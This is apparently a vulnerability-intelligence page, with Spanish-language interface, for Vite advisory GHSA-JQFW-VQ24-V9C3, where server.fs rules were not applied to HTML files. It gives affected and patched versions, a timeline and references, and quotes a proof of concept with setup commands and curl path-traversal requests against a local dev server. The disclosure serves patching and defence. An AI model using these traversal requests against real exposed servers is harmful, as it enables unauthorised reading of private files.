llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · vite

GHSA-JQFW-VQ24-V9C3

Vite's `server.fs` settings were not applied to HTML files

Parche disponible
Descargar PNG JSON
CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche4 versionesPrimer parche a -1 d de la divulgación
Exposición436 dDesde la divulgación, 9 sept 2025, 3:54 p. m.
Detección433 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 5.4.20 +3
Monitoreo
Detectada
8 sept 25
9 sept 25
10 sept 26
17 nov 26
20 nov 26
8 sept 25
27 dic 25
15 abr 26
3 ago 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 5.4.20 vite · -1 d desde divulgación
Remediación Parche 6.3.6 vite · -1 d desde divulgación
Remediación Parche 7.0.7 vite · -1 d desde divulgación
Remediación Parche 7.1.5 vite · -1 d desde divulgación
Divulgación Publicada GHSA-JQFW-VQ24-V9C3 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
Any HTML files on the machine were served regardless of the `server.fs` settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option https://vitejs.dev/config/server-options.html#server-host)
  • `appType: 'spa'` (default) or `appType: 'mpa'` is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

### Details
The serveStaticMiddleware https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123 function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136 function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html" https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L144. If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/htmlFallback.ts#L14, and then to indexHtmlMiddleware https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/indexHtml.ts#L438. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

### PoC
Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

`curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'`

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'`

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'`

You will receive the contents of secret_files/secret.html.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
vite< 5.4.20
vite≥ 6.0.0 < 6.3.6
vite≥ 7.0.0 < 7.0.7
vite≥ 7.1.0 < 7.1.5
5.4.20
6.0.0
6.3.6
7.0.0
7.0.7
7.1.0
7.1.5
8.3.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvite
Corregida 5.4.20, 6.3.6, 7.0.7, 7.1.5 -1 d · -1 d · -1 d · -1 d 8.3.8 no afectada
Versiones corregidas5.4.206.3.67.0.77.1.5
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-58752
Otrahttps://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3
Otrahttps://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f
Otrahttps://github.com/vitejs/vite/commit/14015d794f69accba68798bd0e15135bc51c9c1e
Otrahttps://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea
Otrahttps://github.com/vitejs/vite/commit/6f01ff4fe072bcfcd4e2a84811772b818cd51fe6
Otrahttps://github.com/vitejs/vite
Otrahttps://github.com/vitejs/vite/blob/v7.1.5/packages/vite/CHANGELOG.md

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.